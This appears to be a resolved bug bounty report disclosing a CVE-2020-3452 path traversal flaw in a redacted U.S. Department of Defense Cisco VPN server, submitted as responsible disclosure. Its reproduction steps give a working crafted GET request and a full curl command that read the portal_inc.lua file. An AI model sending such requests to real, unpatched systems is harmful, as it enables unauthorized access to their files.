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[██████████.mil] Cisco VPN Service Path Traversal

High
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U.S. Dept Of Defense
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Team Summary

Official summary from U.S. Dept Of Defense

The target server was using Cisco VPN Service, which was vulnerable to CVE-2020-3452 allowing an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files within the web services file system.

Reported by arm4nd0

Vulnerability Details

Technical details and impact analysis

Path Traversal
Hi team.   # Summary The Cisco VPN Service at ```██████.mil``` is vulnerable to the CVE-2020-3452 vulnerability, which allows path traversing within the web service's file system on the targeted device.   # Steps to Reproduce Make a GET request to: ```http https://███████.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ ``` cURL command: ``` curl -i -s -k -X $'GET' \ -H $'Host: █████.mil' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://█████.mil/+CSCOE+/logon.html?fcadbadd=1' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: webvpnlogin=1; webvpnLang=en' -H $'Upgrade-Insecure-Requests: 1' \ -b $'webvpnlogin=1; webvpnLang=en' \ $'https://███.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../' ``` ..and get the content of the ```portal_inc.lua``` file. ███████   ## Impact According to Cisco, this vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files, however, it has a CVE 7.5 (High) score.

Related CVEs

Associated Common Vulnerabilities and Exposures

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input …

Report Details

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State

Closed

Substate

Resolved

Submitted

Weakness

Path Traversal